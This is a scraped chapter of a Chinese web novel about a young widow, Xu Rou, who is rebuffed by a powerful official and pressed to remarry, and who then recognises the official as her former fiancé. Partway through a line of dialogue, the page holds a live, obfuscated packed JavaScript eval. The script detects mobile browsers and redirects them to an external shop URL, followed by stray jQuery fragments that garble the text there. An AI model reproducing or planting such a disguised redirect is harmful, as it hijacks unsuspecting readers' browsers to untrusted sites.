文趣网 > 都市小说 > 偷孀 > 3. 相看
    对方突如其来的这一句,宛如一记响亮的巴掌重重打在许柔的脸上,把她打醒了。

    他方才说什么?

    她……被骗了?

    “没听到吗?”车中人仿佛字字都在叩击着,“我说,你,被骗了。”

    “民女,不懂杜大人的意思。”

    车中人不说话了,回答的是侍卫:“杜大人乃是朝中新贵,之前忙于政事,无心情爱,你所说的小娘子,杜大人根本不识!”

    许柔这才恍然,低头思索,“原来是这样,难怪她不肯说姓名,也不说杜大人的姓名。”

    原来,是个信口雌黄的骗子。

    “哼。”侍卫冷笑道,“寻常的高门贵女都不见得能入我家大人的眼,你那位小娘子,怕是连高门贵女都不如!妄想与我家大人攀亲,白日做梦!”

    他们说完,车中人的声音无情地道:“走吧,同她多言,自降身份。”

    “是,大人。”侍卫厉声喝道,“还不快走!”

    许柔低下头,默默攥紧手里的荷包。

    她收了小娘子的银两,无论如何不能就这么走了,当即跪了下来:“杜大人,我们一家从丹江县来,无依无靠,幸亏应了小娘子的差事,才有银钱傍身。”

    “……”

    “大人,你位高权重,若对施以援手,民女一家会感激大人一辈子的。”

    从小到大,许柔在父母膝下一惯被捧上了天,从未这样卑微地求人。

    可不求呢?

    不求,不放下尊严,等着日后那小娘子报复许家吗?

    车中人久久不说话,再侍卫准备拔剑恐吓她走时,冷淡地开口:“等等。”

    车帘被掀开一角,阳光斜照之下,露出青年棱角分明的半张面孔。

    青年的五官面相,还保留着一丝没有彻底褪去的少年气,月白锦衣衬得他的身形修长高大。

    其实,他的这张脸并非是一张冷若寒冰的面孔,甚至有些亲和,可却在看人时,那黑亮黑亮的好看眼眸里,总是透着一股子淡淡的寒,才让他显得有些不易近人。

    加之,他方才才马车里,说的那些话,她想,比起朝中新贵,这个人怎么更像目中无人的皇帝。

    还是说,皇京中的所有权贵皆是如此?

    无形的威压落到许柔的身上,以至于她始终不敢抬头去看杜大人,对他的长相也并不好奇。

    “把面上的绢布。”青年神色一沉,命令道,“摘下来。”

    许柔心头一颤。

    绢布?为什么要摘绢布?他要看她的脸?

    半晌,许柔缓缓抬起素手,随后,面上的绢布滑落,飘到了地上。

    她的全部面容暴露于人前,可并没有什么用,因为杜大人看到的,不过是一张沾满了碳灰的、脏兮兮的面容。

    杜大人:“……”

    一旁的侍卫从他的眼中看到了一丝失望。

    侍卫不禁疑惑,大人婉拒了那么多花容月貌的贵娘子,可遇上这衣着平平的,却要看她的脸:“还不快把你的脸干净!叫杜大人认不认!”

    许柔不敢违令,她用袖口胡乱擦了一下,竟忘记袖子是脏的,越擦越花,花的五官难辨。

    杜大人的眉头微微蹙了蹙。

    侍卫无语了:“那你叫什么名字?报给大人听!”

    “我叫……”

    许柔抬起头的同时,杜大人撂下了车帘。

    “不必了。”青年道,“回侯府。”

    荷包还在许柔的手上,车轮却滚滚向前,无情地越过了她。

    许柔追着马车,一边追一边道:“杜大人!求你成全民女!杜大人!”

    最终,她跌倒在了地上。

    街道空无一人,百姓们不敢去议论朝中新贵的是非,更不敢去看他的热闹事。

    许柔没有起身,喉头哽咽。

    到了皇京,人情淡漠,处处都是心酸事,杜大人轻而易举地拒收了一个小小的荷包,却给他们许家增添了一个巨大的麻烦。

    许柔很少哭的,可泪水像断了弦的珍珠,一颗又一颗地落下。

    直到一双沉重的黑靴,踏在视野中的青石板上。

    是方才的侍卫,他竟然折返了回来:“荷包我替你收了,回去给人交差吧,以后再敢拦杜大人的架,别怪我对女子动手!”

    侍卫刚才事事听命于人,态度却截然相反。

    许柔虽不解,但还是红着眼点了点头,将荷包交给了他。

    回到去的路上,想到刚才侍卫的这一幕,许柔心里不禁暖暖的,可一想到杜大人的语气,又顿时凉了半截。

    另一边,杜砚礼安安静静地坐在马车中,侍卫回来禀告道:“大人,拿到荷包了。”

    杜砚礼道:“嗯。”

    ——

    夕阳西下,落日的光为整个皇京的房屋瓦舍渡上一层金边。

    许柔回到孔相府后,许守正说,许夫人被孔伯母召了去,想必一会儿就回来了。

    闻言,许柔心里忐忑。

    虽然孔雪儿说,孔伯父早就不计较当年的过节,但孔伯母却未必。

    从小到大,许柔见惯了家中人的拌嘴,当年孔伯父与许守正决定分家,不再来往的事,看似是因为祖母迁坟,实则是各种各样的小摩擦堆积而成。

    许夫人与孔伯母也是一样。

    许老祖母喜欢孝顺的儿媳,许夫人是温柔孝顺的性子,相比之下,孔伯母的性子便自我了一些,整日摆弄着一些神佛之说,对家事疏忽。

    所以,孔伯母不得许老祖母喜欢,自然与许夫人不怎么亲近。

    想到这里,许柔的心悬了起来。

    天黑了,许夫人这才推门进来,见许夫人神色凝重,许柔连忙上前道:“娘,你回来了?”

    许夫人坐了下来,喝了几口桌上的水,显然是与孔伯父废了许多口舌。

    许柔试探性地问:“娘,该不会你和孔伯母又闹了别扭?”

    “没有。”

    “没有?”许柔想了想,又问,“没有闹性子?难道孔伯母为难娘,娘没有还嘴,忍了下来?”

    许夫人叹了一口气:“唉,你这孩子。”

    “那便是了!”许柔咬了咬唇,当即道,“娘,现在去找孔伯母。”

    “回来。”

    “???”

    “因为以往的小打小闹同我这个做长嫂的计较,你把你孔伯母想成什么人了?”

    都不是?

    许柔只好重新回到许夫人的身边,便见许夫人放下手中的杯盏,伸手将她拉近了些许,郑重地问了一个问题:“柔儿,钱衡之已经不在了,你是如何想的?”

    她愣了愣,问道:“娘?什么如何想?”

    “柔儿,你今年不过二十五,正值年华。”

    许夫人越说越郑重,好像容不得拒绝一样:“我和你孔伯母商议过了,及笄宴后,她会在京中为你物色合适的郎婿,另嫁他人。”

    “二嫁?”许柔连忙退后一步,“娘,我……”

    反驳的话到口中,便止住了。

    许柔想到了很多画面,她想到县令府出事,许夫人为许守正奔走相告的模样。

    她想到许夫人的脸上生出的皱纹,以及青丝中生出的几根白发。

    许柔咬了咬唇,终究什么都没说。

    “柔儿,娘只想让你往后的日子里你,能有所依靠。”许夫人道,“你还太年轻,低估了这世道,二十五岁便死了丈夫,无论是在丹江县,还是在皇京,旁人说你克夫,你便是克夫,这个名声一旦落下,就很难洗掉了。”

    许柔一怔:“克……夫?”

    “娘知道,这规矩是枷锁,可这也是为你好,相夫教子,谁又能抵抗这道枷锁呢?”

    ——

    明日就是及笄宴了。

    孔雪儿提及让许柔一家去参加及笄宴时,孔伯父没答应,但也没拒绝。

    到了晚上,孔雪儿兴高采烈地来到了许柔的房间里,像小时候那样,踢掉鞋子爬到床榻上。

    “表姐,父亲他定是答应了!”

    “嗯。”

    许柔抱着纤细的双腿,下巴抵在膝盖上,乌发如缎子般垂落,一副心事重重的模样。

    “表姐?你还在因为二嫁的事烦恼?”

    许柔点点头:“钱衡之去世不久,我不想……这么快就二嫁。”

    “表姐。”孔雪儿调整了一下姿势,离得近了一些,笑道,“这次我就不帮着许伯母了,我支持许伯母,表姐这么漂亮,不该守寡。”

    许柔嗔怪道:“雪儿,明日你及笄,不是要相看整个及笄宴上的郎君吗?就省省心思放在你表姐上。”

    “才不是相看整个宴上的郎君呢。”孔雪儿压低声音,“我告诉表姐一个秘密,表姐可

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17631196|206351||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    不要告诉别人哦。”

    “秘密?”

    “母亲说,只需要相看一个人就够了,这宴上的郎君都是锦上添花,用来抬高我的身份。”

    许柔思索了一会儿,大抵明白了孔雪儿的意思:“在皇京缔结良缘,弯弯绕绕倒真是多,不过万事万物,总要用些巧力不是?”

    孔雪儿嘿嘿笑了笑。

    许柔问:“那这郎君生得好看吗?”

    “没见过,据说他好看的不得了呢!”孔雪儿神神秘秘道,“等我们见到他了,再告诉表姐他的名字,正好也让表姐帮我相看,那人如何?”

    少女摇晃着许柔的胳膊,像个孩子一般地撒娇,快把许柔摇晕了。

    “好表姐,这整个皇京,就没有比表姐更好看的女子了,何况表姐才二嫁,不丢人,表姐若是三嫁,才丢人呢!”

    话音刚落,许柔整个脸色都变了。

    孔雪儿的无心之话,宛如大巴掌,一字一巴掌地打在了许柔的脸上,打得啪啪响,震耳欲聋地响。

    “怎么了?表姐?你的脸色好难看啊。”

    “雪儿,其实……”许柔咬了咬唇,“其实,我也有个秘密,在嫁给钱衡之前,我与旁的男子定过亲。”

    许柔并未向孔雪儿交代那人的姓名。

    那段往事太过惹人发笑,算是少不经事时犯得错,若全部说出来,她心里觉得羞耻。

    “我们两家断绝来往的第一年,我重新回到学堂,和同窗发生了一些事,挺丢人的。”

    “???”孔雪儿双手捂着嘴巴,“表姐,你没出阁就与同窗,有过一场风流乐事?”

    “一些误会罢了,贞洁没丢,就是名声不大好,我爹不愿让县令府蒙羞,便定了亲。”

    孔雪儿追问:“那你与他有肌肤之亲了没有?”

    “当然没有,我们亲事才成了一半,没有洞房。”

    “没成亲?”

    “嗯。”许柔低低道,“闹得,很不愉快。”

    “那后来呢?”

    许柔的眼眸黯淡,随即笑道:“后来他离开丹江县了,不知晓去了哪儿,我们没有交集了。”

    姐妹二人畅聊了一夜。

    孔雪儿好奇的不得了,因为在许家尚未出事前,表姐可谓是整个丹江县最高贵的小娘子了。

    除了经商大户钱家,表姐还和谁定过亲?

    孔雪儿缠着许柔问了许久,奈何许柔脸皮太薄,始终不肯说出名字。

    不过,作姐姐的到底拗不过妹妹的撒娇,许柔答应孔雪儿,等明日见到相看的郎婿,再告诉她。

    ——

    翌日,及笄宴这一日,许柔比以往醒得迟了一些,孔雪儿却早已梳妆打扮好,将她从榻上摇了起来。

    许柔坐在铜镜前,困得眼皮打架,侍女是个手脚勤快之人,不一会儿的功夫,便梳好了一套精致的妆发。

    暖阁连接孔府的正厅。

    孔雪儿连发簪都来不及插,便火急火燎地拉着许柔穿过暖阁,来到珠帘前,珠帘的一侧是她们,另一侧则是孔伯父与那郎君议事的正厅。

    因为隔着几步之遥,正厅的交谈声也十分清晰。

    只听孔伯父称赞道:“杜大人也是丹江县人?”

    “嗯,寻常的小县罢了。”

    孔伯父的笑容生硬了一分,继而接着说下去:“哈哈哈,那真是巧了,大人年少英才,深得圣心,我若早知晓大人是舞阳侯之子,岂能让你流落在丹江县?”

    姓杜?丹江县?

    许柔的心犹如被钝击一般,她立马要阻止孔雪儿声张,可已经来不及了。

    孔雪儿的手已经掀起开了珠帘,笑道:“父亲!”

    下一刻,所有人都看了过来。

    孔伯父闻声看了过来,那青年也看了过来,看到了孔雪儿,也看到了……许柔。

    二人对视,青年神色平淡如常,仿佛再看一个与自己毫不相干之人。

    而许柔的思绪天旋地转,初来皇京的记忆,经年的回忆,像一簇簇浪涛般翻涌了上来。

    那一年,丹江县的学堂。

    那个被同窗们围在角落里殴打的,粗布麻衫的俊美少年,竟与眼前的朝中新贵,形成了天差地别。

    他是马车里的杜大人,是孔家需要让表妹相看的权臣,是她少时的杜同窗……

    也是,她曾经的定亲郎婿杜砚礼。